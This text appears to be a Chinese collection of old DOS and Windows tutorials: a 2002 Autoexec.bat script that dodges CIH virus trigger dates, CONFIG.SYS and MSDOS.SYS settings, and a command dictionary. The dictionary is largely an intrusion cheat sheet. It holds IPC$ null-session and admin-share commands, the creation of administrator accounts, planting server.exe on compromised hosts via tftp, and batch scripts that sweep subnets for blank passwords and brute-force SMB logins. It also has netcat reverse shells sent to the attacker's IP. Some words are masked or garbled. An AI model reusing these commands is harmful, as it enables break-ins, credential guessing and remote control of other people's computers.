     3 用鼠标单击文件下拉菜单选择“退出”,单击“保存”,如图2,至此完成制作,大功告成。 好了一个批处理文件就这样制作,完成了是不是很简单。

让CIH永不发作

    解决方案:虽然预防CIH 的软件很多,如各大杀毒软件的实时监测功能,但难免有疏漏之时。

    原理:根据病毒的两个弱点进行编程:1、只在特定日期发作,2、只在进入Windows之后发作。因此可以在Autoexec.bat中设置一段小程序,在进入Win之前提醒用户更改日期。详细步骤:

    1、用记事本打开或新建Autoexec.bat,输入以下内容:

rem *****CIH&25CIH*****  此行为注释不被执行

type nul>c:\today.is  建立一个0 字节空的临时文件todoy.is

cls 清除屏幕显示

dir c:\today.is|find "-26-"  查找开机时间是否为26日

if not errorlevel 1 goto CIH  如果没有错误是26日就执行

:CIH  子程序

goto noCIH  否则不是26日则转到:noCIH子程序

:CIH  :是子程序的标志,CIH是子程序名称

echo Today is CIH day!Please change clock to 27th in the CMOS!  是26日就在屏幕上显示英文“今天是CIH 日请在CMOS中更改日期为27日”

pause  暂停程序运行,并显示英文“Press any key countinue”(按任意键继续)

del c:\today.is>nul   删除today.is(nul为不显示删除过程中的提示)

restart.com  执行restart.com,此文件可以到Win98启动盘中的Ebd.cab 中提取,提取后把它放到C:\下面

:noCIH 不是26日时执行该子程序.以下预防圣诞CIH的方法与上面的类似不再说明

cls

dir c:\today.is|find "12-25-"

if not errorlevel 1 goto 25vir

goto novir

:25vir

echo Today is CIH day!Please change clock to 27th in the CMOS!

pause

del c:\today.is>nul

restart.com

:novir

del c:\today.is>nul

rem *****CIH&25CIH*****

cls

    2、使用:当你在每月的26日或12月25日打开电脑时,屏幕就会出现英文提示“Today is CIH day!Please change clock to 27th in the CMOS!”如图:

   按任意键将重启电脑,然后按Delete键进入CMOS,将日期更改为为27日即可,不要忘了到第二天再将日期改回正常日期哦。

小知识:

    1998年的4月26日,是CIH病毒的生日,这个病毒首先在台湾被发现,是由24岁的陈盈豪Chen Ing-Halu编制的,由于其名字第一个字母分别为C、I、H,因此这可能是计算机病毒名称的由来。

    如同潘多拉的盒子被打开,从此,这个病毒象幽灵一样在网络中游荡,一年后的4月26日,中国的30余万台电脑的用户经历了一个令人心悸的梦魇:当从初春的风中走入办公室打开电脑的时候,屏幕却没有任何显示,只有死一般的沉寂,单是可以统计的经济损失就可以以亿为单位计算,从此中国电脑用户明白了:病毒很厉害,病毒在身边。

    破坏性:CIH是迄今为止发现的最阴险的病毒之一属恶性病,毒当其发作条件成熟时可从硬盘主引导区开始依次往硬盘中写入垃圾数据,直到硬盘数据被全部破坏为止,最坏的情况下硬盘所有数据(含全部逻辑盘数据)均被破坏。另外,某些主板上的Flash Rom中的BIOS信息将被清除。

    CIH有3个版本,1.2版(最流行)4月26日发作,1.3版6月26日发作,1.4版每月26日发作(最厉害)。另外,最近又有一个CIH的变种每年的12月25日发作,俗称“圣诞CIH”,据说比CIH的更隐蔽,破坏性更强。

本文发表于2002年《电脑爱好者》第20期

BAT说明

GHOSTxp.img中autorun.bat文件说明

@ECHO OFF

SHSUCDX /D:?PATACD01 /D:?SATACD01 /D:?SATACD02 /D:?SATACD03

findcd /s>nul

call findcdr "ghost.exe" C D E F G H I J K L M N O P Q R S T U V W X Y Z

%CDROM%:

ghost -nousb -clone,mode=pload,src=ghostxp.gho:1,dst=1:1 -crcignore -sure rb

八、配置文件

配置文件 CONFIG.SYS,(文件中包含配置命令)

1、配置命令

menuitem=CD, CD-ROM .  加载菜单命令=项名,屏显的内容。

menudefault=CD,30      设指定项和时间命令=指定默认项名,屏显时间(秒)。

menucolor=7,0          指定显示色命令=字色,背景色

DEVICE=\HIMEM.SYS      加载设备驱动或命令

devicehigh=ramdrive.sys /E 2048   加载设备驱动或命令到高端内存中

INSTALL=MOUSE.COM        加载命令、程序。

DOS=HIGH,                将DOS住留在内存高端。

files=10                 设在DOS中同时能打开的文件数

buffers=10               设磁盘缓冲区为10

stacks=9,256             设堆栈为9个,大小为256

lastdrive=z              设光盘的最后一个盘符为Z盘,即光盘可为C~Z盘

LASTDIVE=D               设盘符号(D为盘符代号)

2、可加载的实用驱动或程序命令

HIMEM.SYS,—加载扩展内存管理程序,为应用程序、设备驱动程序提供XMS内存。

EMM386.EXE—可做为一个设备驱动程序为应用程序提供服务。

SETVER.EXE—DOS版本兼容程序。

AANSI.SYS,—键盘配置程序。

oakcdrom.sys  光驱驱动

ramdrive.sys /E 2048  设虚拟光盘

3、配置运用

[menu]                       加选项菜单

menuitem=CD, CD-ROM .        加第一项的项名,屏显内容。

menuitem=NOCD, GHOST2003.    加第二项的项名,屏显内容。

menuitem=HELP, GHOST8.0.

menuitem=eee,  DISKGEN       加第n项的项名,屏显内容。

menudefault=CD,30            默认的项名,屏显时间秒。

menucolor=7,0

 

[CD]                                对应第一项项名,在下面可加载启动命令或程序

device=oakcdrom.sys /D:mscd001      加载光驱驱动

install=d:\mouse.com  加载命命令或程序

[NOCD]

 [HELP]

[EEE]

 [COMMON]           以上各项共同要加载的项目(即加载上一项后执行)。

files=10

buffers=10

dos=high,umb

stacks=9,256

devicehigh=ramdrive.sys /E 2048

lastdrive=z

自己动手打造DOS启动配置

    关于CONFIG.SYS

    DOS系统在启动计算机的时候会自动寻找CONFIG.SYS这个文件,如果没有它,电脑就按默认的方式运行,但是默认方式启动将无法使用一些设备,比如扩展内存、光盘驱动器等。下面是CONFIG.SYS常用的配置。

    1、FILES=数字

    表示可同时打开的文件数,一般可选择20到50,需要注意的是,如果把FILES的值设得过大会占用过多的基本内存。系统缺省为FILES=8。

    2、BUFFERS=数字

    表示设置磁盘缓冲区的数目,通常设置为20-30左右。缺省值一般为15。磁盘缓冲区是一块内存区,用于存储从磁盘读入的数据或存储写到磁盘的数据。  

    3、DEVICE和DEVICEHIGH

    用于加载一些内存驻留程序,用于管理设备。比如内存管理程序和光驱驱动程序等。如:

DEVICE=C:\DOS\HIMEM.SYS

DEVICE=C:\DOS\EMM386.EXE RAM

DEVICEHIGH=C:\CDROM\CDROM.SYS

DEVICEHIGH 与DEVICE的不同是前者将程序加载入高端内存。

    4、HIMEM.SYS和EMM386.EXE

    DOS只能直接使用640KB的内存,即基本内存,必须依靠其他内存管理程序来使用更多的内存,这两条命令就是最常用的内存管理程序。

    其中640KB到1MB之间的内存被称为高端内存,是系统保留使用的。1MB以上的内存成为扩展内存,HIMEM.SYS就是负责管理扩展内存的。

EMM386.EXE负责管理高端内存并在扩展内存中模拟扩充内存供某些软件使用。

因此为了使用更多的内存,配置文件中应有以下指令。

DEVICE=C:\DOS\HIMEM.SYS

DEVICE=C:\DOS\EMM386.EXE RAM

    需要注意的是:EMM386.EXE必须要求先安装HIMEM.SYS,因而必须确保安装HIMEM.SYS的配置命令在EMM386.EXE之前。

    5、DOS=HIGHUMB

    一般情况下,需要CONFIG.SYS文件加入这条命令,这样会将DOS的系统文件移入高端内存,空出更多的基本内存给其他软件使用。需要注意的是,如果没有安装EMM386.EXE,UMB,那么这条指令将是无效的。

下面给出一个典型的CONFIG.SYS文件内容:

DEVICE=C:\DOS\HIMEM.SYS

DEVICE=C:\DOS\EMM386.EXE NOEMS

BUFFERS=15,0

FILES=50

DOS=UMB

LASTDRIVE=Z

DOS=HIGH

DEVICEHIGH=C:\DOS\ATAPI_CD.SYS /D:MSCD000 /I:0

STACKS=9,256

    此外,在CONFIG中还可以配置菜单式多重任务选择的配置,用于不同任务的选择,比如玩游戏、设置虚拟磁盘等,不过在这些应用在目前已经不常用了,这里就不多做介绍了。

关于AUTOEXEC.BAT

    电脑每次启动时都会自动寻找AUTOEXEC.BAT批处理文件,从而可执行一些每次开机都要执行的命令,比如设置路径PATH、加载鼠标驱动MOUSE、磁盘加速SMARTDRV等。

下面给出一个比较典型的AUTOEXEC.BAT文件:

@ECHO OFF '不显示命令行

PROMPT $P $G '设置提示符前有目录提示

PATH C:\DOS;C:\;C:\WINDOWS; C:\TOOLS '设置文件查找路径

LH C:\MOUSE\MOUSE.COM '加载鼠标驱动程序

LH C:\DOS\SMARTDRV.EXE '加载磁盘加速管理   

LH C:\DOS\MSCDEX /S /D:MSCD000/M:12 /V '加载CD-ROM驱动

SET TEMP=C:\TEMP '设置临时目录

全面修改MSDOS.SYS文件    

WinDir=C:WINDOWS

 表示Win98的安装路径(不能修改) 

WinBootDir=C:WINDOWS

 

HostWinBootDrv=C 表示Win98的启动盘(不能修改) 

[Options]

BootMulti=1 表示是不是使用多引导菜单(这里的多引导只有Win98和DOS两项,不是指Win98和Win2000)

注意:如果C盘是FAT32文件系统,那么不会出现多引导菜单  

1表示使用,0表示不使用 

默认值:1 

BootGUI=1 是不是自动启动图形用户界面(就是指Win98) 

1表示使用,0表示不使用 

默认值:1 

DoubleBuffer=1 设置在进入Win98前是否使用双缓冲。只有系统使用SCSI接口才有效,否则没有实际意义。 

1表示使用,0表示不使用 

默认值:1 

AutoScan=1 设置在非法关机以后重新启动以后是否扫描硬盘 

强烈建议使用1,这样可以避免硬盘过早衰老 

1表示使用,0表示不使用,2表示每次启动均扫描

默认值:1 

WinVer=4.10.2222 Windows 版本 

BootWin=1 设置是否自动引导到Win98 

1表示使用,0表示不使用 

默认值:1 

DrvSpace=1 设置是否加载dblspace.bin drvspace.bin文件。如果你的硬盘没有被用DoubleSpace或DriveSpace压缩过,那么这里没有意义。 

DblSpace=1 

LOGO=1 设置是否启用开机画面 

1表示使用,0表示不使用 

默认值:1 

BootDelay=2 设置你有多少秒时间来按下F8等键 

BootMenuDefault=1 设置启动菜单的光标默认放在哪一个位置

这里的1代表放在第1项:Normal

其余的数字和含义是

 

2 Logged(Bootlog.txt) 用Bootlog.txt启动 

3 Safe mode Win98的安全模式 

4 Step-by-Step confirmation 步进模式启动 

5 Command prompt only 使用DOS 

6 Safe mode command prompt only 仅仅执行command.com 

7 Previous Version of MS-DOS 只有C盘是FAT16文件系统才会有这一项,表示使用旧的DOS 

BootMenuDelay=30 表示启动菜单延时多少秒 

默认值:30 

BootMenu=0 设置是否显示启动菜单 

1表示使用,0表示不使用 

默认值:1 

设置在安全模式下当出现桌面的时候是否出现提示 

DisableLog=0 

1表示使用,0表示不使用 

默认值:1 

BootKeys=1 设置能否使用F8等功能键 

1表示使用,0表示不使用 

默认值:1 

BootSafe 设置是否强制进入安全模式 

1表示使用,0表示不使用 

九、WIN下DOS命令

DOS命令字典收藏

2007-12-19 13:18:39  发布人:小路

【1】

net use \\ip\ipc$ " " /user:" " 建立IPC空链接

net use \\ip\ipc$ "密码" /user:"用户名" 建立IPC非空链接

net use h: \\ip\c$ "密码" /user:"用户名" 直接登陆后映射对方C:到本地为H:

net use h: \\ip\c$ 登陆后映射对方C:到本地为H:

net use \\ip\ipc$ /del 删除IPC链接

net use h: /del 删除映射对方到本地的为H:的映射

net user 用户名 密码 /add 建立用户

net user guest /active:yes 激活guest用户

net user 查看有哪些用户

net user 帐户名 查看帐户的属性

net localgroup ***istrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限,注意:***istrator后加s用复数

net start 查看开启了哪些服务

net start 服务名  开启服务;(如:net start telnet, net start schedule)

net stop 服务名 停止某服务

net time \\目标ip 查看对方时间

net time \\目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息

net view 查看本地局域网内开启了哪些共享

net view \\ip 查看对方局域网内开启了哪些共享

net config 显示系统网络设置

net logoff 断开连接的共享

net pause 服务名 暂停某服务

net send ip "文本信息" 向对方发信息

net ver 局域网内正在使用的网络连接类型和信息

net share 查看本地开启的共享

net share ipc$ 开启ipc$共享

net share ipc$ /del 删除ipc$共享

net share c$ /del 删除C:共享

net user guest 12345 用guest用户登陆后用将密码改为12345

net password 密码 更改系统登陆密码

netstat -a 查看开启了哪些端口,常用netstat -an

netstat -n 查看端口的网络连接情况,常用netstat -an

netstat -v 查看正在进行的工作

netstat -p 协议名 例:netstat -p tcq/ip 查看某协议使用情况(查看tcp/ip协议使用情况)

netstat -s 查看正在使用的所有协议使用情况

nbtstat -A ip 对方136到139其中一个端口开了的话,就可查看对方最近登陆的用户名(03前的为用户名)-注意:参数-A要大写

tracert -参数 ip(或计算机名) 跟踪路由(数据包),参数:“-w数字”用于设置超时间隔。

ping ip(或域名) 向对方主机发送默认大小为32字节的数据,参数:“-l[空格]数据包大小”;“-n发送数据次数”;“-t”指一直ping。

ping -t -l 65550 ip 死*之ping(发送大于64K的文件并一直ping就成了死*之ping)

ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用参数“/all”显示全部配置信息

tlist -t 以树行列表显示进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)

kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)

del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件,/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件,“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件

 

【2】

del /S /Q 目录 或用:rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。(二个命令作用相同)

move 盘符\路径\要移动的文件名 存放移动文件的路径\移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖

fc one.*t two.*t > 3st.*t 对比二个文件并把不同之处输出到3st.*t文件中,"> "和"> >" 是重定向命令

at id号 开启已注册的某个计划任务

at /delete 停止所有计划任务,用参数/yes则不需要确认就直接停止

at id号 /delete 停止某个已注册的计划任务

at 查看所有的计划任务

at \\ip time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机

finger username @host 查看最近有哪些用户登陆

telnet ip 端口 远和登陆服务器,默认端口为23

open ip 连接到IP(属telnet登陆后的命令)

telnet 在本机上直接键入telnet 将进入本机的telnet

copy 路径\文件名1 路径\文件名2 /y 复制文件1到指定的目录为文件2,用参数/y就同时取消确认你要改写一份现存目录文件

copy c:\srv.exe \\ip\***$ 复制本地c:\srv.exe到对方的***下

cppy 1st.jpg/b+2st.*t/a 3st.jpg 将2st.*t的内容藏身到1st.jpg中生成3st.jpg新的文件,注:2st.*t文件头要空三排,参数:/b指二进制文件,/a指ASCLL格式文件

copy \\ip\***$\svv.exe c:\ 或:copy\\ip\***$\*.* 复制对方***i$共享下的srv.exe文件(所有文件)至本地C:

xcopy 要复制的文件或目录树 目标地址\目录名 复制文件和目录树,用参数/Y将不提示覆盖相同文件

tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:\server.exe 登陆后,将“IP”的server.exe下载到目标主机c:\server.exe 参数:-i指以二进制模式传送,如传送exe文件时用,如不加-i 则以ASCII模式(传送文本文件模式)进行传送

tftp -i 对方IP put c:\server.exe 登陆后,上传本地c:\server.exe至主机

ftp ip 端口 用于上传文件至服务器或进行文件操作,默认端口为21。bin指用二进制方式传送(可执行文件进);默认为ASCII格式传送(文本文件时)

route print 显示出IP路由,将主要显示网络地址Network addres,子网掩码Netmask,网关地址Gateway addres,接口地址Interface

arp 查看和处理ARP缓存,ARP是名字解析的意思,负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息

start 程序名或命令 /max 或/min 新开一个新窗口并最大化(最小化)运行某程序或命令

mem 查看cpu使用情况

attrib 文件名(目录名) 查看某文件(目录)的属性

attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档,只读,系统,隐藏 属性;用+则是添加为某属性

dir 查看文件,参数:/Q显示文件及目录属系统哪个用户,/T:C显示文件创建时间,/T:A显示文件上次被访问时间,/T:W上次被修改时间

date /t 、 time /t 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间,而不必输入新日期和时间

set 指定环境变量名称=要指派给变量的字符设置环境变量

set 显示当前所有的环境变量

set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量

pause 暂停批处理程序,并显示出:请按任意键继续....

if 在批处理程序中执行条件处理(更多说明见if命令及变量)

goto 标签 将cmd.exe导向到批处理程序中带标签的行(标签必须单独一行,且以冒号打头,例如:“:start”标签)

call 路径\批处理文件名从批处理程序中调用另一个批处理程序 (更多说明见call /?)

for 对一组文件中的每一个文件执行某个特定命令(更多说明见for命令及变量)

echo on或off 打开或关闭echo,仅用echo不加参数则显示当前echo设置

echo 信息 在屏幕上显示出信息

echo 信息 >> pass.*t 将"信息"保存到pass.*t文件中

findstr "Hello" aa.*t 在aa.*t文件中寻找字符串hello

find 文件名 查找某文件

title 标题名字 更改CMD窗口标题名字

color 颜色值 设置cmd控制台前景和背景颜色;0=黑、1=蓝、2=绿、3=浅绿、4=红、5=紫、6=黄、7=白、8=灰、9=淡蓝、A=淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白

prompt 名称 更改cmd.exe的显示的命令提示符(把C:\、D:\统一改为:EntSky\ )

 

【3】

 

ver

在DOS窗口下显示版本信息

winver

弹出一个窗口显示版本信息(内存大小、系统版本、补丁版本、计算机名)

format

盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例:Format D: /FS:NTFS

md 

目录名 创建目录

replace

源文件 要替换文件的目录 替换文件

ren

原文件名 新文件名 重命名文件名

tree

以树形结构显示出目录,用参数-f 将列出第个文件夹中文件名称

type

文件名 显示文本文件的内容

more

文件名 逐屏显示输出文件

doskey

要锁定的命令=字符

doskey

要解锁命令= 为DOS提供的锁定命令(编辑命令行,重新调用win2k命令,并创建宏)。如:锁定dir命令:doskey dir=entsky (不能用doskey dir=dir);解锁:doskey dir=

taskmgr

调出任务管理器

chkdsk

/F D: 检查磁盘D并显示状态报告;加参数/f并修复磁盘上的错误

tlntadmn telnt服务admn,键入tlntadmn选择3,再选择8,就可以更改telnet服务默认端口23为其它任何端口

exit

退出cmd.exe程序或目前,用参数/B则是退出当前批处理脚本而不是cmd.exe

path

路径\可执行文件的文件名 为可执行文件设置一个路径。

cmd

启动一个win2K命令解释窗口。参数:/eff、/en 关闭、开启命令扩展;更我详细说明见cmd /?

Regedit

 /s 注册表文件名导入注册表;参数/S指安静模式导入,无任何提示;

regedit

/e 注册表文件名 导出注册表

cacls

文件名 参数 显示或修改文件访问控制列表(ACL)——针对NTFS格式时。参数:/D 用户名:设定拒绝某用户访问;/P 用户名:perm 替换指定用户的访问权限;/G 用户名:perm 赋予指定用户访问权限;Perm 可以是: N 无,R 读取, W 写入, C 更改(写入),F 完全控制;例:cacls D:\test.*t /D pub 设定d:\test.*t拒绝pub用户访问。

cacls

文件名 查看文件的访问用户权限列表

REM

文本内容 在批处理文件中添加注解

netsh

查看或更改本地网络配置情况

 

【4】

 

IIS服务命令:

iisreset /reboot 重启win2k计算机(但有提示系统将重启信息出现)

iisreset /start或stop 启动(停止)所有Internet服务

iisreset /restart 停止然后重新启动所有Internet服务

iisreset /status 显示所有Internet服务状态

iisreset /enable或disable 在本地系统上启用(禁用)Internet服务的重新启动

iisreset /rebootonerror 当启动、停止或重新启动Internet服务时,若发生错误将重新开机

iisreset /noforce 若无法停止Internet服务,将不会强制终止Internet服务

iisreset /timeout Val在到达逾时间(秒)时,仍未停止Internet服务,若指定/rebootonerror参数,则电脑将会重新开机。预设值为重新启动20秒,停止60秒,重新开机0秒。

FTP 命令:

ftp的命令行格式为:

ftp -v -d -i -n -g[主机名] -v 显示远程服务器的所有响应信息。

-d 使用调试方式。

-n 限制ftp的自动登录,即不使用.netrc文件。

-g 取消全局文件名。

help [命令] 或 ?[命令] 查看命令说明

bye 或 quit 终止主机FTP进程,并退出FTP管理方式.

pwd 列出当前远端主机目录

put 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中

get 或 recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中

mget [remote-files] 从远端主机接收一批文件至本地主机

mput local-files 将本地主机中一批文件传送至远端主机

dir 或 ls [remote-directory] [local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件

ascii 设定以ASCII方式传送文件(缺省值)

bin 或 image 设定以二进制方式传送文件

bell 每完成一次文件传送,报警提示

cdup 返回上一级目录

close 中断与远程服务器的ftp会话(与open对应)

open host[port] 建立指定ftp服务器连接,可指定连接端口

delete 删除远端主机中的文件

mdelete [remote-files] 删除一批文件

mkdir directory-name 在远端主机中建立目录

rename [from] [to] 改变远端主机中的文件名

rmdir directory-name 删除远端主机中的目录

status 显示当前FTP的状态

system 显示远端主机系统类型

user user-name [password] [account] 重新以别的用户名登录远端主机

open host [port] 重新建立一个新的连接

prompt 交互提示模式

macdef 定义宏命令

lcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录

chmod 改变远端主机的文件权限

case 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母

cd remote-dir 进入远程主机目录

cdup 进入远程主机目录的父目录

! 在本地机中执行交互shell,exit回到ftp环境,如!ls*.zip

 

【5】

 

MYSQL 命令:

mysql -h主机地址 -u用户名-p密码 连接MYSQL;如果刚安装好MYSQL,超级用户root是没有密码的。

(例:mysql -h110.110.110.110 -Uroot -P123456

注:u与root可以不用加空格,其它也一样)

exit 退出MYSQL

mysql*** -u用户名 -p旧密码 password 新密码 修改密码

grant select on 数据库.* to 用户名@登录主机 identified by \"密码\"; 增加新用户。(注意:和上面不同,下面的因为是MYSQL环境中的命令,所以后面都带一个分号作为命令结束符)

show databases; 显示数据库列表。刚开始时才两个数据库:mysql和test。mysql库很重要它里面有MYSQL的系统信息,我们改密码和新增用户,实际上就是用这个库进行操作。

use mysql;

show tables; 显示库中的数据表

describe 表名; 显示数据表的结构

create database 库名; 建库

use 库名;

create table 表名 (字段设定列表); 建表

drop database 库名;

drop table 表名; 删库和删表

delete from 表名; 将表中记录清空

select * from 表名; 显示表中的记录

mysqldump --opt school>school.bbb 备份数据库:(命令在DOS的\\mysql\\bin目录下执行);注释:将数据库school备份到school.bbb文件,school.bbb是一个文本文件,文件名任取,打开看看你会有新发现。

win2003系统下新增命令(实用部份):

shutdown /参数 关闭或重启本地或远程主机。

参数说明:/S 关闭主机,/R 重启主机, /T 数字 设定延时的时间,范围0~180秒之间, /A取消开机,/M //IP 指定的远程主机。

例:shutdown /r /t 0 立即重启本地主机(无延时)

taskill /参数 进程名或进程的pid 终止一个或多个任务和进程。

参数说明:/PID 要终止进程的pid,可用tasklist命令获得各进程的pid,/IM 要终止的进程的进程名,/F 强制终止进程,/T 终止指定的进程及他所启动的子进程。

tasklist 显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。

参数说明:/M 列出当前进程加载的dll文件,/SVC 显示出每个进程对应的服务,无参数时就只列出当前的进程。

 

【6】

 

Linux系统下基本命令: 要区分大小写

uname 显示版本信息(同win2K的 ver)

dir 显示当前目录文件,ls -al 显示包括隐藏文件(同win2K的 dir)

pwd 查询当前所在的目录位置

cd cd ..回到上一层目录,注意cd 与..之间有空格。cd /返回到根目录。

cat 文件名 查看文件内容

cat >abc.*t 往abc.*t文件中写上内容。

more 文件名 以一页一页的方式显示一个文本文件。

cp 复制文件

mv 移动文件

rm 文件名 删除文件,rm -a 目录名删除目录及子目录

mkdir 目录名 建立目录

rmdir 删除子目录,目录内没有文档。

chmod 设定档案或目录的存取权限

grep 在档案中查找字符串

diff 档案文件比较

find 档案搜寻

date 现在的日期、时间

who 查询目前和你使用同一台机器的人以及Login时间地点

w 查询目前上机者的详细资料

whoami 查看自己的帐号名称

groups 查看某人的Group

passwd 更改密码

history 查看自己下过的命令

ps 显示进程状态

kill 停止某进程

gcc 黑客通常用它来编译C语言写的文件

su 权限转换为指定使用者

telnet IP telnet连接对方主机(同win2K),当出现bash$时就说明连接成功。

ftp ftp连接上某服务器(同win2K)

 

【附】批处理命令与变量

 

1:for命令及变量 基本格式:

FOR /参数 %variable IN (set) DO command [command_parameters] %variable:指定一个单一字母可替换的参数,如:%i ,而指定一个变量则用:%%i ,而调用变量时用:%i% ,变量是区分大小写的(%i 不等于 %I)。

批处理每次能处理的变量从%0—%9共10个,其中%0默认给批处理文件名使用,%1默认为使用此批处理时输入的的第一个值,同理:%2—%9指输入的第2-9个值;例:net use \\ip\ipc$ pass /user:user 中ip为%1,pass为%2 ,user为%3

 

(set):指定一个或一组文件,可使用通配符,如:(D:\user.*t)和(1 1 254)(1 -1 254),{ “(1 1 254)”第一个"1"指起始值,第二个"1"指增长量,第三个"254"指结束值,即:从1到254;“(1 -1 254)”说明:即从254到1 }

 

command:指定对第个文件执行的命令,如:net use命令;如要执行多个命令时,命令这间加:& 来隔开

command_parameters:为特定命令指定参数或命令行开关

 

IN (set):指在(set)中取值;DO command :指执行command

 

参数:/L 指用增量形式{ (set)为增量形式时 };/F 指从文件中不断取值,直到取完为止{ (set)为文件时,如(d:\pass.*t)时 }。

用法举例:

@echo off

echo 用法格式:test.bat *.*.* > test.*t

 

for /L %%G in (1 1 254) do echo %1.%%G >>test.*t & net use \\%1.%%G /user:***istrator | find "命令成功完成" >>test.*t

存为test.bat 说明:对指定的一个C类网段的254个IP依次试建立***istrator密码为空的IPC$连接,如果成功就把该IP存在test.*t中。

 

/L指用增量形式(即从1-254或254-1);输入的IP前面三位:*.*.*为批处理默认的 %1;%%G 为变量(ip的最后一位);& 用来隔开echo 和net use 这二个命令;| 指建立了ipc$后,在结果中用find查看是否有"命令成功完成"信息;%1.%%G 为完整的IP地址;(1 1 254) 指起始值,增长量,结止值。

@echo off

echo 用法格式:ok.bat ip

FOR /F %%i IN (D:\user.dic) DO smb.exe %1 %%i D:\pass.dic 200

存为:ok.exe 说明:输入一个IP后,用字典文件d:\pass.dic来暴解d:\user.dic中的用户密码,直到文件中值取完为止。%%i为用户名;%1为输入的IP地址(默认)。http://www.jz5u.com

 

【7】

 

2:if命令及变量 基本格式:

IF [not] errorlevel 数字 命令语句 如果程序运行最后返回一个等于或大于指定数字的退出编码,指定条件为“真”。

例:IF errorlevel 0 命令 指程序执行后返回的值为0时,就值行后面的命令;IF not errorlevel 1 命令指程序执行最后返回的值不等于1,就执行后面的命令。

0 指发现并成功执行(真);1 指没有发现、没执行(假)。

IF [not] 字符串1==字符串2 命令语句 如果指定的文本字符串匹配(即:字符串1 等于 字符串2),就执行后面的命令。

例:“if "%2%"=="4" goto start”指:如果输入的第二个变量为4时,执行后面的命令(注意:调用变量时就%变量名%并加" ")

IF [not] exist 文件名 命令语句 如果指定的文件名存在,就执行后面的命令。

例:“if not nc.exe goto end”指:如果没有发现nc.exe文件就跳到":end"标签处。

IF [not] errorlevel 数字 命令语句 else 命令语句或 IF [not] 字符串1==字符串2 命令语句 else 命令语句或 IF [not] exist 文件名 命令语句 else 命令语句 加上:else 命令语句后指:当前面的条件不成立时,就指行else后面的命令。注意:else 必须与 if 在同一行才有效。 当有del命令时需把del命令全部内容用< >括起来,因为del命令要单独一行时才能执行,用上< >后就等于是单独一行了;例如:“if exist test.*t. <del test.*t.> else echo test.*t.missing ”,注意命令中的“.”

(二)【系统外部命令(均需下载相关工具)】

 

1、瑞士军刀:nc.exe

 

参数说明:

-h 查看帮助信息

-d 后台模式

-e prog程序重定向,一但连接就执行[危险]

-i secs延时的间隔

-l 监听模式,用于入站连接

-L 监听模式,连接天闭后仍然继续监听,直到CTR+C

-n IP地址,不能用域名

-o film记录16进制的传输

-p[空格]端口 本地端口号

-r 随机本地及远程端口

-t 使用Telnet交互方式

-u UDP模式

-v 详细输出,用-vv将更详细

-w数字 timeout延时间隔

-z 将输入,输出关掉(用于扫锚时)

基本用法:

nc -nvv 192.168.0.1 80 连接到192.168.0.1主机的80端口

nc -l -p 80 开启本机的TCP 80端口并监听

nc -nvv -w2 -z 192.168.0.1 80-1024 扫锚192.168.0.1的80-1024端口

nc -l -p 5354 -t -e c:winntsystem32cmd.exe 绑定remote主机的cmdshell在remote的TCP 5354端口

nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remote主机的cmdshell并反向连接192.168.0.2的5354端口

高级用法:

nc -L -p 80 作为蜜罐用1:开启并不停地监听80端口,直到CTR+C为止

nc -L -p 80 > c:\log.*t 作为蜜罐用2:开启并不停地监听80端口,直到CTR+C,同时把结果输出到c:\log.*t

nc -L -p 80 < c:\honeyport.*t 作为蜜罐用3-1:开启并不停地监听80端口,直到CTR+C,并把c:\honeyport.*t中内容送入管道中,亦可起到传送文件作用

type.exe c:\honeyport | nc -L -p 80 作为蜜罐用3-2:开启并不停地监听80端口,直到CTR+C,并把c:\honeyport.*t中内容送入管道中,亦可起到传送文件作用

本机上用:nc -l -p 本机端口

在对方主机上用:nc -e cmd.exe 本机IP -p 本机端口 *win2K

nc -e /bin/sh 本机IP -p 本机端口 *linux,unix 反向连接突破对方主机的防火墙

本机上用:nc -d -l -p 本机端口 < 要传送的文件路径及名称

在对方主机上用:nc -vv 本机IP 本机端口 > 存放文件的路径及名称 传送文件到对方主机

备 注:

| 管道命令

< 或 > 重定向命令。“<”,例如:tlntadmn < test.*t 指把test.*t的内容赋值给tlntadmn命令

@ 表示执行@后面的命令,但不会显示出来(后台执行);例:@dir c:\winnt >> d:\log.*t 意思是:后台执行dir,并把结果存在d:\log.*t中

>与>>的区别 ">"指:覆盖;">>"指:保存到(添加到)。

如:@dir c:\winnt >> d:\log.*t和@dir c:\winnt > d:\log.*t二个命令分别执行二次比较看:用>>的则是把二次的结果都保存了,而用:>则只有一次的结果,是因为第二次的结果把第一次的覆盖了。

 

【8】

 

2、扫锚工具:xscan.exe

 

基本格式

xscan -host <起始IP>[-<终止IP>] <检测项目> [其他选项] 扫锚"起始IP到终止IP"段的所有主机信息

